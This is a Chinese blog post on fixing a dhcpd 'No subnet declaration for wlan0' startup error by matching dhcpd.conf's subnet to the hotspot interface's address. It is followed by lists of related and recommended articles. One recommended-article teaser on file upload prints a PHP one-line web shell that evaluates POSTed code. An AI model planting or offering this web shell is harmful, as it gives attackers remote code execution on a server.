今天在调试机器的WIFI热点,好不容易把dhcp编译打包进去,服务启动出现报错No subnet declaration for wlan0,详细信息如下:

Internet Systems Consortium DHCP Server 4.1.1-P1
Copyright 2004-2010 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/ Wrote 0 leases to leases file. No subnet declaration for wlan0 (192.168.1.1 ).
** Ignoring requests on wlan0. If this is not what
you want, please write a subnet declaration
in your dhcpd.conf file for the network segment
to which interface wlan0 is attached. ** Not configured to listen on any interfaces! If you did not get this software from ftp.isc.org , please
get the latest from ftp.isc.org and install that before
requesting help. If you did get this software from ftp.isc.org and have not
yet read the README, please read it before requesting help.
If you intend to request help from the dhcp-server@isc.org
mailing list, please read the section on the README about
submitting bug reports and requests for help. Please do not under any circumstances send requests for
help directly to the authors of this software - please
send them to the appropriate mailing list as described in
the README file. exiting.

经过排查分析,确认是dhcpd.conf中配置的网络与给wlan0的网络配置存在冲突,不在同一个网段内:

/etc/dhcpd.conf配置网段在10.11.0.0

但是wlan0的ip地址却配置在192.168.1.1

insmod /system/vendor/modules/8188eu.ko
#insmod /lib/8723bu.ko
sleep 2
ifconfig wlan0 up
ifconfig wlan0 192.168.1.1 netmast 255.255.255.0
sleep 1
hostapd /etc/hostapd.conf -B
touch /var/lib/dhcp/dhcpd.leases
dhcpd
#
# Sample configuration file for ISC dhcpd for Debian
#
# $Id: dhcpd.conf,v 1.1.1.1 2002/05/21 00:07:44 peloy Exp $
# # The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style none; # option definitions common to all supported networks...
option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org; default-lease-time 600;
max-lease-time 7200; # If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
#authoritative; # Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7; # No service will be given on this subnet, but declaring it helps the
# DHCP server to understand the network topology. subnet 10.11.0.0 netmask 255.255.255.0 {
range 10.11.0.30 10.11.0.254;
} # This is a very basic subnet declaration. #subnet 10.254.239.0 netmask 255.255.255.224 {
# range 10.254.239.10 10.254.239.20;
# option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
#}

只要将dhcpd.conf中的网络配置成和wlan0的启动设置一致即可解决。

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.16 192.168.1.128;
}

dhcpd 启动失败No subnet declaration for wlan0的更多相关文章

  1. 启动dhcp出错:No subnet declaration for eth0 (192.168.0.1

    XUbuntu 8.04 i386.装了dhcp3-server.使用 sudo /etc/init.d/dhcp3-server start 出错:Apr 30 14:24:03 s dhcpd: ...

  2. 解决Centos 7 dhcp服务器-no subnet declaration for start (no IPV4 addresses.)

    上面的配置是hyper-v 安装的 centos 7.0 安装dhcp 服务器的方法是 yum install dhcpd 在安装和配置好后,运行的时候出现错误 错误提示如下: no subnet d ...

  3. windows service 1053错误 启动失败

    做项目移植的时候发现一个项目的window service启动失败,最后试出来是启动时间超时 解决办法是给window service设置一个长一点的等待时间,步骤如下: 启动,输入regedit启动 ...

  4. 玩转Windows服务系列——无COM接口Windows服务启动失败原因及解决方案

    将VS创建的Windows服务项目编译生成的程序,通过命令行 “服务.exe -Service”注册为Windows服务后,就可以通过服务管理器进行管理了. 问题 通过服务管理器进行启动的时候,发现服 ...

  5. ubuntu升级内核后vmware-player启动失败

    在虚拟机软件中,vmware player是对硬件支持很好的,通过它可以很方便的使用网银.单片机开发等等工作.但是最近ubuntu每次升级内核后,vmware都会启动失败,提示:Before you ...

  6. CentOS 7下MySQL服务启动失败的解决思路

    今天,启动MySQL服务器失败,如下所示: [root@spark01 ~]# /etc/init.d/mysqld start Starting mysqld (via systemctl): Jo ...

  7. 服务器重启后SQL Server Agent由于"The EventLog service has not been started" 启动失败

    案例环境: 操作系统   : Microsoft Windows Server 2003 Standard Edtion SP2 数据库版本 : SQL Server 2005 Standard Ed ...

  8. db2start启动失败

    db2start启动失败 [db2inst1@localhost ~]$ db2start db2start: error while loading shared libraries: libaio ...

  9. PHP5.6启动失败

    PHP编译安装完毕,启动失败,提示 1 [23-Jun-2014 12:27:02] ERROR: failed to open configuration file '/usr/local/php/ ...

随机推荐

  1. File Upload(文件上传)

    一句话木马 <?php @eval($_POST['key']); ?> /*eval(phpcode) eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP ...

  2. Catch That Cow----BFS

    Catch That Cow Description 农夫知道一头牛的位置,想要抓住它.农夫和牛都位于数轴上 ,农夫起始位于点 N(0<=N<=100000) ,牛位于点 K(0<= ...

  3. PHP的那些魔术方法(一)

    在PHP中,有一堆魔术方法,服务于类和对象.PHP虽然也是纯种的面向对象语言,但是之前的PHP还真不是,所以有一些面向对象的标准实现并不完善,比如重载.但是,我们可以通过一些魔术方法来弥补,例如__c ...

  4. http请求在https中使用

    问题原因:HTTPS页面里动态的引入HTTP资源,比如引入一个js文件,会被直接block掉的.在HTTPS页面里通过AJAX的方式请求HTTP资源,也会被直接block掉的. 解决方案: <m ...

  5. azkaban3.90.0部署

    1.下载这个网友提供的编译包,自己编的老出错,没弄了 https://blog.csdn.net/logincheck/article/details/110119987 2.将 解压到 /opt/m ...

  6. 关于python如何构造测试数据

    参考资料:https://www.cnblogs.com/miaoxiaochao/p/13234589.html 一.Faker模块是什么? 一个Python第三方模块,主要用来创建伪数据 无需再手 ...

  7. Appium 自动化测试改造思路

    流水账脚本 从头到尾编写测试脚本 PO封装 业务行为与操作具体页面元素分离 basepage封装 如封装find方法,目的时增强稳定性 数据驱动封装 将常用的数据改为配置文件 为构建测试平台打基础

  8. YbtOJ#631-次短路径【左偏树,最短路】

    正题 题目链接:https://www.ybtoj.com.cn/contest/114/problem/1 题目大意 给出\(n\)个点\(m\)条边的一张无向图,对于每个点\(i\)求不经过\(i ...

  9. T-SQL——数据透视和逆透视

    目录 0. 测试数据集及说明 0.1 准备测试数据 0.2 对一维表和二维表理解 1. 透视转换 1.1 使用标准SQL进行数据透视 1.2 使用T-SQL中pivot函数进行数据透视 1.3 关于 ...

  10. iOS Swift逻辑运算符

    运算符 运算符分类 从操作数角度看:运算符包括一元.二元.三元.这里的一二三指操作数的数量,操作数指的是被操作的数值. 从运算符位置看:运算符分为前缀.中缀.后缀.例如:!b, b + c, c! 赋 ...